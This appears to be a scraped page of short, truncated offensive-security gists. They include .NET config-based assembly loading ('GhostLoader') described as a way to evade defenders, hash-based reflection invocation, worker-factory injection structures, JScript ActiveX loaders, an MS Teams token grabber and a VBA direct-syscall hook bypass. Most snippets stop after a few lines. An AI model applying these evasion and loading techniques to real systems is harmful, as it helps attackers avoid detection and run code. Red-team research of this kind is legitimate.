mgeeky

GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

mgeeky

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

mgeeky

using System.Linq;
using System.Reflection;

namespace HashInvoke;

public class HInvoke
{
    public static T InvokeMethod<T>(uint classID, uint methodID, object[]? args = null)
    {
        // Get the System assembly and go trough all its types hash their name

mgeeky

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

#define WORKER_FACTORY_FULL_ACCESS 0xf00ff 

// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
typedef enum _WORKERFACTORYINFOCLASS
{
	WorkerFactoryTimeout, // LARGE_INTEGER

mgeeky

using NtApiDotNet;
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32;
using NtApiDotNet.Win32.Rpc.Transport;
using NtApiDotNet.Win32.Security.Authentication;
using NtApiDotNet.Win32.Security.Authentication.Kerberos;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server;
using NtApiDotNet.Win32.Security.Authentication.Logon;
using System;

mgeeky

var fso = new ActiveXObject("Scripting.FileSystemObject");
var ado = (function() {
    if (typeof window === "undefined") {
        return new ActiveXObject("ADODB.Stream");
    } else {
        var _GetObject = (typeof GetObject === "function") ? GetObject : (function() {
            var script = window.document.createElement("script");
            script.setAttribute("language", "VBScript");
            script.innerHTML = "Function GetObjectHelper(name)\nSet GetObjectHelper = GetObject(name)\nEnd Function";
            window.document.body.appendChild(script);

mgeeky

#include <windows.h>
#include <wchar.h>

#define LOAD_LIBRARY_SEARCH_SYSTEM32 (0x00000800)

HMODULE loadlibrary_system(const wchar_t* name)
{
	/* If running on Windows 8 or a system with KB2533623, LoadLibraryEx with
	   LOAD_LIBRARY_SEARCH_SYSTEM32 does the right thing */
	if (GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "AddDllDirectory"))

mgeeky

<TriggerCollection
	xmlns:xsd="http://www.w3.org/2001/XMLSchema"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<Triggers>
		<Trigger>
			<Guid>Ab8CqzeKQUuKdzTx4tKy7A==</Guid>
			<Name>Debug</Name>
			<Events>
				<Event>
					<TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid>

mgeeky

// Obtain teams token - you can reuse it for GoMapEnum for example
// Author: Juan Manuel Fernandez (@TheXC3LL)

const puppeteer = require('puppeteer');

(async () => {
    console.log("\t\tMS Teams Token Generator - @TheXC3LL\n\n");
    const username = process.argv[2];
    const password = process.argv[3];
    console.log("[*] Using credentials: %s:%s", username, password);

mgeeky

' Proof of Concept: retrieving SSN for syscalling in VBA
' Author: Juan Manuel Fernandez (@TheXC3LL)


'Based on:
'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
'https://www.crummie5.club/freshycalls/


Private Type LARGE_INTEGER